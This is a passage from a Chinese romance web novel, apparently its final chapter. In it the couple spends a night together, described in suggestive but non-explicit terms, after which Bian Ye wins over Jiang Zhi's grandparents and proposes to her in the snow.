还好沙发够大,足够容纳两个人。 房子里安静,充斥着他们的呼吸声。 临了,边野突然刹停。 他半伏在姜栀上方,紊乱的气息不断喷洒在她耳边,胸膛起伏得厉害,却迟迟没有再动。 “怎么了?” 姜栀脸上布满了红晕,眼眸迷蒙。 她不知道她这模样有多勾人,边野只看了一眼便挪开视线,腹部如同火烧。 “家里没有那个东西。” 他嗓子紧得发疼,额角因为过度隐忍而透出青筋,“我去冲个澡。”再继续下去,他会控制不住。 边野吸了口气,压住那股火,起身就要走。 忽然,手腕被一抹柔软拉住。 他回头,漆黑的眼底海浪汹涌,急着去找一个出口。 哪怕两人的感情已经稳定了这么久,她还是羞涩。 滚烫着脸咬了咬下唇,姜栀起身,在他不解的目光里重新搂住他脖颈,然后学着他刚刚的步骤,从耳廓到脖子。 边野也是血气方刚的青年,怎么经得起她这样撩拨,托住她的脸,声音十分沙哑,“知不知道自己在做什么?” 姜栀感觉整个人都快烧着了,滚烫滚烫。 她漂亮的眼眸像是蒙了一层水汽,勾得人心痒。 凑到他耳边,姜栀轻轻说了两个字。 边野眼睫动了下,一瞬间血脉偾张。 喉结滚动,确定她是认真的,他将她一把抱起来,走进卧室轻柔地放下。 一片昏暗里,边野看着她眼睛,声音蛊惑:“开弓就没有回头箭了。” 姜栀眨动了下眼睛,心想他怎么突然变得这么磨磨蹭蹭啊。 然后,很勇猛地抬头,吻他。 一夜云雨。 姜栀不是第一次,但这次是最累人的一次。许是他禁谷欠了太久,如同燥烈的干柴,只是稍微有点火星子,就不管不顾地烧起来。 她起初只有一点声音,到后来嗓子都哑了,那时候她才明白什么叫开弓没有回头箭。 姜栀撑不住,还没完就睡过去了。 边野把人拥在怀里,餍足地在她额角上落下一吻。 他躺在姜栀身侧,脑子里像过电影似的,这么多年的得而复失与失而复得的场面不断地浮现出来,到最后,都化成这一刻。 轻轻握着姜栀的手,他缓缓交叉、收紧。 如珠似宝。 这一次来盐城,边野推掉了所有公事,专心陪着她,春节假期前的最后一周。 姜栀白天上班,他就替她收拾家里。 她不时调笑他像个家庭煮夫。 每到这时,边野总要跟她玩一会,从沙发玩到厨房,最后姜栀腿软在浴室,嗓子哑得连话都说不出来。 边野疼惜地亲亲她,抱着她回卧室。 这日子就在上班和情趣中结束。 放了假,边野就陪她回了孟城。 姜栀有些惊讶他过年也不回去,他笑着勾勾她下巴,她总会像小猫儿似的露出惬意娇憨的表情。 “你不在身边,我度日如年。” 姜栀没忍住轻笑出声,打趣他最近是不是学了什么,怎么张嘴都是这种情话。边野就顺着她的话回逗她。 两个人聊着聊着也就到了孟城。 孟城今年又下了雪。 鹅毛似的,纷纷扬扬。 两人是下午到的,老两口不知道边野也来,看见他时愣了愣,随后赶紧热情地请人进来。 先不说他是边家的孩子,就是舍命救他们孙女儿也该有这样被奉为座上宾的待遇。 边野觉得不用那么客气,让他们只当他是陪着姜栀回来,顺便蹭顿晚饭。 老太太说那哪儿行啊,又是泡茶又是出去买菜的。 边野有些受宠若惊。 姜栀陪着老太太出去买菜,姜爷爷就干脆拉着他下棋。 一局下来,姜爷爷忍不住感慨:“好小子,棋艺不错啊。” 边野谦虚一笑,“略懂皮毛。” 家里只有他们二人,他一边收子一边说:“爷爷,我这次来,主要是为了跟您谈一谈我和知知的婚事。” 姜爷爷放子的动作顿了下,沧桑的双眼看向他,并没有顺着他的话往下说,“听说你在那场事故里伤得很严重,现在好全了吗?” 边野对这个问题的真实意图心知肚明,如实道:“还有些不算严重的后遗症,不会危及性命。” 姜爷爷放下一子,琢磨着棋盘上的走势,声音比刚刚多了几分慈和。 “你和知知在一起这件事,她去年过年的时候就跟我和她奶奶说了,她是我们唯一的孙女,我们不求你大富大贵,只希望你能待她好,她是个好孩子,从小听话懂事,要是她爸妈还在……” 说到这里,他下意识叹了口气,多的是惋惜和对命运弄人的无奈。 边野黑眸坚定,神色认真,“我明白也理解您的担心。我曾经没想过这辈子要做点什么,但爱她这件事绵延了九年多。” 他迎着姜爷爷的目光,一字一句,掷地有声,“不论我的家庭如何,我在一天,就会护她一天。” 边野来之前已经做了充足的准备。 他把那些公证过的财产,那些挂在姜栀名下的房车和其余资产都给姜爷爷过目,“如果您信不过我,总该信得过律法。” 白纸黑字,无一作假。 姜爷爷瞪大了眼。 他知道边野一定是很喜欢知知,才会冒着生命危险去救她,但这份喜欢太贵重了,贵重到他们一家都承担不起。 姜爷爷推回去,眉头蹙起。 “她知道吗?” 提起姜栀,他眼底温柔溢出来,“瞒着她做的。” 姜爷爷双手覆在膝盖上,半晌轻轻叹了口气,“算了,你们年轻人的事自己决定吧。” 姜栀跟着奶奶回来的时候,他们正好一盘棋结束。 老太太买了好些大菜,她准备帮着打下手却被推出了厨房,“你在这帮厨,把人晾在这像什么话?去去去,好好陪陪人家,家里有我跟你爷爷就成。” 姜栀哭笑不得,只好洗了手顺从出去。 姜爷爷被老太太叫进了厨房,她走过去勾了勾边野的耳垂,“这位英俊帅气的先生,愿不愿意跟我出去散散步呀?” 边野反握住她作乱的手,声音压低,含着笑打趣她:“你现在都已经放肆到这种地步了?爷爷奶奶还在呢。” 姜栀眨眨眼,一脸狡黠,“听不懂。” 近五点钟,外面的天已经朦胧昏暗。 边野给她围了两圈围巾才牵着她的手下楼。 楼外飘着漫天的雪沫,路灯点亮,光晕里,美得像一幅画。 姜栀踩着小区里的水泥地,步伐轻盈。她陪着他看自己小时候生活过的地方,絮絮叨叨地说着趣事。 温柔的声音落在边野耳里,他偏眸看着她清纯漂亮的眉眼,眼底浮着宠溺的笑意,胸口软得一塌糊涂。 许久。 雪下大了。 姜栀拉着他打道回府,临近楼下的时候,边野用了点力道拉住她。 灯光下,雪花飘飘。 衬得人如梦似幻。 姜栀抬眼看着他温沉的眉眼,疑惑道:“怎么了?” 他从口袋里摸出一个丝绒盒,“打开看看。” 姜栀以为是新年礼物,譬如项链或者是手钏,没什么准备就打开了。一对戒指就这么闯入了视线里,做工精致,看着就贵重。 她怔忪了下。 见她呆着没说话,边野看着她,幽沉的眼眸像是要将她装满,“嫁给我这件事,还作数吗?” 姜栀眨巴了下,心脏怦怦直跳。 哪怕知道一定会有这样一天,但好突然,突然到她有点蒙,涩软后知后觉地自心底漫上来。 她张了张嘴,话还没说出来,眼眶先红了。 边野给她戴上,伸手捏了捏她脸颊肉,假装凶猛地唬她:“现在不作数也不行了,戒指戴了,聘礼我也下了,你这辈子都只能是我的人了。” 姜栀眼底有泪光,疑惑问他:“什么聘礼?” 他轻叹一声,带着尘埃落定的满足,将她耳边的碎发拨到耳后,路灯光晕将她映照得如同落入尘世的仙女,“娶你的聘礼。” 姜栀这才反应过来,原来他不是为了跟她回来过年的。 是为了娶她而来。 “那么短的时间居然就把爷爷搞定了,不愧是商人。”她眼眸湿润,像只可爱的小猫儿,此刻轻软地嗔着他。 “就当你是在夸我。”他嗓音低磁,带着蛊惑的意味。抬手挑起她下巴,边野缓缓凑近。 清冽的呼吸喷洒而来,姜栀耳根一红,伸手轻轻抵在他胸口。 “……旁边还有小朋友呢。” 边野“嗯”了一声,充耳不闻。于万千飘落的雪中吻住她,吻住他追寻了无数个日夜的天光。 那条漫长孤寂的来路灯火通明,再无荆棘。 ——正文完。【你现在阅读的是 】